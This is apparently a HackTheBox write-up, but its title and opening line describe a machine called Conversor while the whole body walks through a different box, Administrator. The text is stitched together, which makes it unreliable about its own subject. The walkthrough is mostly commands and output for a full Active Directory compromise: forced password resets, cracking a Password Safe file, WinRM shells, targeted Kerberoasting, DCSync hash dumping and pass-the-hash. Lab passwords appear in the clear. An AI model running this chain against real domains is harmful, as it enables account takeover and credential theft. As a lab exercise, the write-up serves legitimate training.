HackTheBox: Conversor Writeup
Conversor is a medium Linux machine featuring XSLT injection via an EXSLT file-write primitive, credential harvesting from a SQLite database, and privilege escalation through a misconfigured needrestart sudo rule.
Administrator is a medium Windows box built entirely around Active Directory credential chaining. The environment starts with a pair of credentials for olivia and a small but interconnected set of users whose ACL relationships create a path from nothing to Domain Admin. With no Kerberoastable accounts and no AS-REP roasting candidates, the initial enumeration funnel points squarely at BloodHound - specifically at a ForceChangePassword chain that lets olivia overwrite michael’s password, then relay those new credentials to overwrite benjamin’s. Benjamin turns out to be the key to an FTP server hosting a PasswordSafe backup file, which cracks to reveal credentials for several users, including emily. Emily has WinRM access and, through a GenericWrite edge on ethan, the ability to perform a targeted Kerberoast. Ethan’s recovered hash cracks quickly, and his GetChangesAll rights on the domain make a full DCSync straightforward from there.
The target was already recorded in the local hosts file as administrator.htb. A quick RustScan feeds into nmap with service and version detection:
rustscan --ulimit 5000 -a 10.129.7.94 -- -Pn -A -oA fulltcp
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-23 19:12:57Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
<SNIP>
The port profile is unmistakably a domain controller: Kerberos on 88, LDAP on 389/636/3268/3269, SMB on 445, and WinRM on 5985. FTP on port 21 stands out here - it’s not something you typically see on a DC and worth keeping in mind. Nmap identifies the host as DC.administrator.htb on the administrator.htb domain, running Windows Server 2022.
With the domain name confirmed, the Kerberos config was set up using NetExec and added to /etc/krb5.conf for later use and the same for /etc/hosts:
nxc smb 10.129.7.94 --generate-hosts-file hosts
nxc smb 10.129.7.94 --generate-krb5-file krb5
The box provides starting credentials: username olivia, password ichliebedich. The first thing to check is whether any quick wins are available before diving into BloodHound.
Kerberoasting and AS-REP roasting both come up empty:
nxc ldap 10.129.7.94 -u 'olivia' -p 'ichliebedich' --kerberoasting kerberoast.out
nxc ldap 10.129.7.94 -u 'olivia' -p 'ichliebedich' --asreproast asrep.out
[*] Total of records returned 0
No entries found!
Share enumeration shows only the standard shares - SYSVOL, NETLOGON, IPC$ - with no extra writable or non-default shares. Any time SYSVOL access is available, it is worth running the GPP password modules on the off chance someone left credentials in a Group Policy Preferences XML file:
nxc smb 10.129.7.94 -u 'olivia' -p 'ichliebedich' -M gpp_password
nxc smb 10.129.7.94 -u 'olivia' -p 'ichliebedich' -M gpp_autologin
Both come back empty. Nothing buried in SYSVOL. Time to map out the domain properly.
With the quick wins exhausted, rusthound-ce was used to collect BloodHound data from all naming contexts:
rusthound-ce -d administrator.htb -c All -u 'olivia' -i 10.129.7.94 -z --dns-tcp
[INFO rusthound_ce::json::maker::common] 11 users parsed!
[INFO rusthound_ce::json::maker::common] 61 groups parsed!
[INFO rusthound_ce::json::maker::common] 1 computers parsed!
<SNIP>
[INFO rusthound_ce::json::maker::common] .//20260323125725_administrator-htb_rusthound-ce.zip created!
Rather than loading the data into a full BloodHound instance, the data was analyzed with GriffonAD - a lightweight command-line tool that parses BloodHound ZIP files and prints attack paths and ACL edges directly to the terminal. Running it against the collected data with olivia as a starting point reveals the following:
python3 griffon.py 20260323134916_bloodhound.zip --from Olivia
000 OLIVIA -> ::ForceChangePassword(MICHAEL):MICHAEL -> ::ForceChangePassword(BENJAMIN):BENJAMIN
So olivia has GenericAll over michael, which includes ForceChangePassword. michael in turn has ForceChangePassword over benjamin. Laid out in full, the user objects look like this:
OLIVIA !R !X
GenericAll(MICHAEL)
MICHAEL !X
< BUILTIN\REMOTE MANAGEMENT USERS
ForceChangePassword(BENJAMIN)
EMILY !X
< BUILTIN\REMOTE MANAGEMENT USERS
GenericWrite(ETHAN)
ETHAN !X
GetChanges_GetChangesInFilteredSet(♦ADMINISTRATOR.HTB)
GetChanges_GetChangesAll(♦ADMINISTRATOR.HTB)
The GetChanges / GetChangesAll combination on ethan is the DCSync pair - that’s the end goal. Working back: emily can write to ethan, and emily is in Remote Management Users. The question becomes how to get to emily. The path through michael and benjamin is the place to start.
ForceChangePassword is an Active Directory right that allows one principal to reset another user’s password without knowing the current one. It’s a privileged operation that generates event ID 4724 on the DC - not invisible - but for a lab environment, that’s acceptable.
GriffonAD can generate the exact Impacket commands needed:
python3 griffon.py 20260323134916_bloodhound.zip --fromo -s0 --dc-ip 10.129.7.94
The first attempt to change michael’s password used LDAP over SSL, as GriffonAD suggested by default:
changepasswd.py 'ADMINISTRATOR.HTB/michael@DC' -altuser 'olivia' -altpass 'ichliebedich' \
-dc-ip 10.129.7.94 -protocol ldap -newpass '[REDACTED]' -reset -debug
[+] Connecting to ldaps://DC as ADMINISTRATOR.HTB\olivia
[+] Connecting to DC, port 636, SSL True, signing False
[-] Cannot connect to ldaps://DC as ADMINISTRATOR.HTB\olivia: (104, 'ECONNRESET')
The LDAPS connection was reset - port 636 appears to be wrapped but not actually serving a usable TLS handshake. Switching to smb-samr (the DCE/RPC path over SMB) worked fine:
changepasswd.py 'ADMINISTRATOR.HTB/michael@DC' -altuser 'olivia' -altpass '[REDACTED]' \
-dc-ip 10.129.7.94 -protocol smb-samr -newpass '[REDACTED]' -reset
[*] Setting the password of ADMINISTRATOR.HTB\michael as ADMINISTRATOR.HTB\olivia
[*] Connecting to DCE/RPC as ADMINISTRATOR.HTB\olivia
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
With michael under control, the same technique moves laterally to benjamin:
changepasswd.py 'ADMINISTRATOR.HTB/benjamin@DC' -altuser 'michael' -altpass '[REDACTED]' \
-dc-ip 10.129.7.94 -protocol smb-samr -newpass '[REDACTED]' -reset
[*] Setting the password of ADMINISTRATOR.HTB\benjamin as ADMINISTRATOR.HTB\michael
[*] Password was changed successfully.
Both accounts now have credentials under our control. SMB access confirms they authenticate, but neither has anything beyond standard share access. With the graph telling me benjamin is the end of this branch and not a stepping stone to emily directly, it was time to revisit that FTP service from the nmap scan - the one that felt out of place on a domain controller. That instinct turned out to be right.
Logging into the FTP service as benjamin reveals a single file in the landing directory:
ftp administrator.htb
Name (administrator.htb:itzvenom): benjamin
331 Password required
Password:
230 User logged in.
ftp> dir
10-05-24 09:13AM 952 Backup.psafe3
ftp> get Backup.psafe3
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
952 bytes received in 00:00 (22.60 KiB/s)
The “ASCII mode” warning is worth noting: the default FTP transfer mode treats data as plain text and can silently corrupt binary files by translating line endings. For a .psafe3 database that’s a real concern, though in this case the file turned out to be intact - it cracked cleanly in the next step, which confirms the content survived the transfer without mangling.
The .psafe3 extension is the format used by Password Safe, a password manager originally created by cryptographer Bruce Schneier. The database is protected by a master password, but the format is supported by pwsafe2john, which extracts a crackable hash:
pwsafe2john Backup.psafe3 > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
tekieromucho (Backu)
1g 0:00:00:00 DONE (2026-03-23 14:08) 10.00g/s 81920p/s
Session completed.
The master password is [REDACTED]. Opening the database reveals stored credentials for three domain users: emily, alexander, and emma.
Cross-referencing with the BloodHound data, emma would be ideal since emily -> ethan -> DCSync is the established path through emily. Unfortunately, only emily’s credentials authenticate successfully:
nxc smb 10.129.7.94 -u 'emily' -p '[REDACTED]'
SMB 10.129.7.94 445 DC [+] administrator.htb\emily:[REDACTED]
The alexander and emma credentials from the PasswordSafe must be stale or otherwise invalid. Not a dead end though - emily is exactly the account that leads to DCSync via ethan.
emily is in BUILTIN\REMOTE MANAGEMENT USERS, so WinRM is available:
nxc winrm 10.129.7.94 -u 'emily' -p '[REDACTED]'
WINRM 10.129.7.94 5985 DC [+] administrator.htb\emily:[REDACTED] (Pwn3d!)
evil-winrm -i administrator.htb -u 'emily' -p '[REDACTED]'
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily\Desktop> type user.txt
[REDACTED]
With emily owned, GriffonAD was updated with the new owned user and rerun to get the next leg of the path:
python3 griffon.py 20260323134916_bloodhound.zip --fromo -s0 --dc-ip 10.129.7.94
EMILY -> ::AddKeyCredentialLink(ETHAN):ETHAN -> ::DCSync(♦ADMINISTRATOR.HTB):♦ADMINISTRATOR.HTB
emily’s GenericWrite over ethan allows adding a Key Credential Link - this is the Shadow Credentials attack. The first attempt used bloodyAD to add the credential:
bloodyAD --host 10.129.7.94 -d administrator.htb -u emily -p '[REDACTED]' \
add shadowCredentials ethan
[+] KeyCredential generated with sha256: 291bc9ba...
[+] Saved PEM certificate at path: XY8IVj87_cert.pem
[+] Saved PEM private key at path: XY8IVj87_priv.pem
The credential was written to ethan’s account. The next step would normally be to use PKINITtools/gettgtpkinit.py to exchange the certificate for a TGT:
python3 PKINITtools/gettgtpkinit.py \
-cert-pem XY8IVj87_cert.pem -key-pem XY8IVj87_priv.pem \
administrator.htb/ethan XY8IVj87.ccache
2026-03-23 21:23:21,589 minikerberos INFO Requesting TGT
minikerberos.protocol.errors.KerberosError: Error Name: KDC_ERR_PADATA_TYPE_NOSUPP
Detail: "KDC has no support for PADATA type (pre-authentication data)"
KDC_ERR_PADATA_TYPE_NOSUPP means the domain controller does not support PKINIT - certificate-based Kerberos pre-authentication is not configured here, so the shadow credential approach is a dead end on this particular DC.
A cleaner alternative exists when you have GenericWrite: targeted Kerberoasting via targetedKerberoast.py. The underlying logic is that GenericWrite lets you write attributes on a user object, and Service Principal Names are just an attribute. The tool exploits that by writing a dummy SPN on ethan, making him Kerberoastable; immediately requesting a TGS for that SPN and printing the crackable hash; then removing the SPN to restore the account to its original state. The whole operation is a single command and leaves no lasting modification on the account:
targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p '[REDACTED]'
[*] Starting kerberoast attacks
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$86960c5c4a133f50201083f3...<SNIP>
[VERBOSE] SPN removed successfully for (ethan)
The hash came out as etype 23 (RC4-HMAC), which is fast to crack. hashcat finds the answer almost instantly:
hashcat hash /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$...<SNIP>:limpbizkit
Status.......: Cracked
Time.Started.: Mon Mar 23 21:25:38 2026 (0 secs)
Progress.....: 8192/14344385 (0.06%)
ethan’s password is [REDACTED].
ethan holds both GetChanges and GetChangesAll on the domain, which is the pair needed for a DCSync. DCSync replicates the domain’s credential material using the same protocol a domain controller would use when syncing with another DC - an account with these rights can ask the real DC to “replicate” any user’s secrets, including NTLM hashes.
secretsdump.py 'ADMINISTRATOR.HTB/ethan@DC' \
-target-ip 10.129.7.94 -dc-ip 10.129.7.94 -just-dc-ntlm
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
[*] Cleaning up...
The built-in Administrator NTLM hash can be used directly for a pass-the-hash WinRM login:
evil-winrm -i administrator.htb -u 'Administrator' -H '[REDACTED]'
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator> type Desktop/root.txt
[REDACTED]